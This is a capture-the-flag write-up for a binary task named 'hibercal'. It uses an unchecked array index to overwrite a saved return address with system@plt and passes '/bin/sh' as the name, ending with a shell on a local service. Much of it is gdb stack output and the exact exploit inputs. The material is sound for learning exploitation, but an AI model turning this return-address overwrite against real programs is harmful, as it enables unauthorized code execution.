This is an old revision of the document!
We start by browsing the source code and looking for a vulnerability. We immediately see this line:
calendar[allowed_day] = entry;
Here, both allowed_day and entry are controlled by us and there is no bounds checking. Thus, this is an arbitrary write to anywhere in memory. However, it's a relative rather than absolute write, which limits us to known offsets. The usual suspect for arbitrary writes is the return address. If we had a function that called system(“/bin/sh”) we could point the return address there and it would be over. Here, we only have one write on the stack. Let's see what is on the stack before we think of anything harder.
# gdb ./hibercal gdb-peda$ pdis hibercal Dump of assembler code for function hibercal: 0x080488ec <+0>: push ebp 0x080488ed <+1>: mov ebp,esp ........ 0x08048990 <+164>: call 0x80488d8 <process_calendar> 0x08048995 <+169>: mov DWORD PTR [esp],0x8048dc5 0x0804899c <+176>: call 0x80486e0 <puts@plt> 0x080489a1 <+181>: mov eax,DWORD PTR [ebp+0x8] 0x080489a4 <+184>: mov DWORD PTR [esp],eax 0x080489a7 <+187>: call 0x80486e0 <puts@plt> 0x080489ac <+192>: leave 0x080489ad <+193>: ret End of assembler dump. gdb-peda$ break *0x080489ad Breakpoint 1 at 0x80489ad gdb-peda$ set follow-fork-mode child gdb-peda$ run 4242 Starting program: /tmp/ctf/Task2/hibercal 4242 Breakpoint 1, 0x080489ad in hibercal () gdb-peda$ context stack [------------------------------------stack-------------------------------------] 0000| 0xbfffecec --> 0x8048a1c (<doprocessing+110>: leave) 0004| 0xbfffecf0 --> 0xbfffed0c ("Santa_claus") 0008| 0xbfffecf4 --> 0xbfffed0c ("Santa_claus") 0012| 0xbfffecf8 --> 0xb7fff900 --> 0x0 0016| 0xbfffecfc --> 0x1 0020| 0xbfffed00 --> 0x804a060 --> 0xb7ed6930 (<close>: cmp DWORD PTR gs:0xc,0x0) 0024| 0xbfffed04 --> 0xb7fec65c (<_dl_fixup+204>: sub esp,0x14) 0028| 0xbfffed08 --> 0xb7fffab8 --> 0xb7fffa5c --> 0xb7fdc780 --> 0xb7fff900 --> 0x0 0032| 0xbfffed0c ("Santa_claus") 0036| 0xbfffed10 ("a_claus") 0040| 0xbfffed14 --> 0x737561 ('aus') 0044| 0xbfffed18 --> 0x0 0048| 0xbfffed1c --> 0xb7eb0037 (<fork+359>: mov esi,DWORD PTR [ebp-0x2c]) 0052| 0xbfffed20 --> 0xb7f9aa80 --> 0xfbad2088 0056| 0xbfffed24 --> 0x0 0060| 0xbfffed28 --> 0x7f [------------------------------------------------------------------------------]
So, this is the code execution context when I entered “Santa_claus” as the name. 0x8048a1c is the return address which we could overwrite. Since system is called in another function (no_chance) it is also imported in the PLT. We can take the address from there and replace the return address with it. The result would be the equivalent of system(“Santa_claus”). And if we replace the name with “/bin/sh” we pop a shell.
We only need to know what is the offset to the return address. We write 0x41424344=1094861636 at day 0 and then compute by hand:
gdb-peda$ run 4242 Starting program: /tmp/ctf/Task2/hibercal 4242 warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch). warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? [New process 19558] [Switching to process 19558] Breakpoint 1, 0x080489ad in hibercal () gdb-peda$ telescope $esp-4*30 50 0000| 0xbfffec74 --> 0x0 0004| 0xbfffec78 --> 0xbfffece8 --> 0xbfffed78 --> 0xbfffede8 --> 0x0 0008| 0xbfffec7c --> 0x80489ac (<hibercal+192>: leave) 0012| 0xbfffec80 --> 0xbfffed0c ("Santa_claus") 0016| 0xbfffec84 --> 0x804a08c ("DCBA") 0020| 0xbfffec88 --> 0x0 0024| 0xbfffec8c --> 0xb7e6a17b (<__overflow+75>: mov ebx,DWORD PTR [esp+0x14]) 0028| 0xbfffec90 --> 0xb7f9a9e0 --> 0xfbad2887 0032| 0xbfffec94 --> 0xa ('\n') 0036| 0xbfffec98 --> 0xb7f9a9e0 --> 0xfbad2887 0040| 0xbfffec9c ("DCBA*") 0044| 0xbfffeca0 --> 0x2a ('*') 0048| 0xbfffeca4 --> 0x2a ('*') 0052| 0xbfffeca8 --> 0x2a ('*') 0056| 0xbfffecac --> 0x2a ('*') 0060| 0xbfffecb0 --> 0x2a ('*') 0064| 0xbfffecb4 --> 0x2a ('*') 0068| 0xbfffecb8 --> 0x2a ('*') 0072| 0xbfffecbc --> 0x2a ('*') 0076| 0xbfffecc0 --> 0x2a ('*') 0080| 0xbfffecc4 --> 0x2a ('*') 0084| 0xbfffecc8 --> 0x2a ('*') 0088| 0xbfffeccc --> 0x2a ('*') 0092| 0xbfffecd0 --> 0x2a ('*') 0096| 0xbfffecd4 --> 0x2a ('*') 0100| 0xbfffecd8 --> 0x2a ('*') 0104| 0xbfffecdc --> 0x10 0108| 0xbfffece0 --> 0x0 0112| 0xbfffece4 --> 0x0 0116| 0xbfffece8 --> 0xbfffed78 --> 0xbfffede8 --> 0x0 0120| 0xbfffecec --> 0x8048a1c (<doprocessing+110>: leave) 0124| 0xbfffecf0 --> 0xbfffed0c ("Santa_claus") 0128| 0xbfffecf4 --> 0xbfffed0c ("Santa_claus") 0132| 0xbfffecf8 --> 0xb7fff900 --> 0x0 0136| 0xbfffecfc --> 0x1 0140| 0xbfffed00 --> 0x804a060 --> 0xb7ed6930 (<close>: cmp DWORD PTR gs:0xc,0x0) 0144| 0xbfffed04 --> 0xb7fec65c (<_dl_fixup+204>: sub esp,0x14) 0148| 0xbfffed08 --> 0xb7fffab8 --> 0xb7fffa5c --> 0xb7fdc780 --> 0xb7fff900 --> 0x0 0152| 0xbfffed0c ("Santa_claus") 0156| 0xbfffed10 ("a_claus") 0160| 0xbfffed14 --> 0x737561 ('aus') 0164| 0xbfffed18 --> 0x0 0168| 0xbfffed1c --> 0xb7eb0037 (<fork+359>: mov esi,DWORD PTR [ebp-0x2c]) 0172| 0xbfffed20 --> 0xb7f9aa80 --> 0xfbad2088 0176| 0xbfffed24 --> 0x0 0180| 0xbfffed28 --> 0x7f 0184| 0xbfffed2c --> 0x8048e14 --> 0x52524500 ('') 0188| 0xbfffed30 --> 0xbffff074 ("4242") 0192| 0xbfffed34 --> 0x804840c --> 0x62696c00 ('') 0196| 0xbfffed38 --> 0xb7ef6669 (<inet_aton+9>: add ebx,0xa37eb)
We see our value at 0xbfffec9c and then lots of 42's and the return address at 0xbfffecec. 0xbfffecec - 0xbfffec9c = 80 = 4 * 20.
Thus, we need to write at day 20.
Let's try it.
# gdb ./hibercal gdb-peda$ p system $1 = {<text variable, no debug info>} 0x80486f0 <system@plt> gdb-peda$ quit # python >>> 0x80486f0 134514416 # nc 127.0.0.1 4242 Enter your name: /bin/sh You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one! Which day? 20 What do you want to write? 134514416 Goodbye /bin/sh date Fri Jul 11 12:35:22 EEST 2014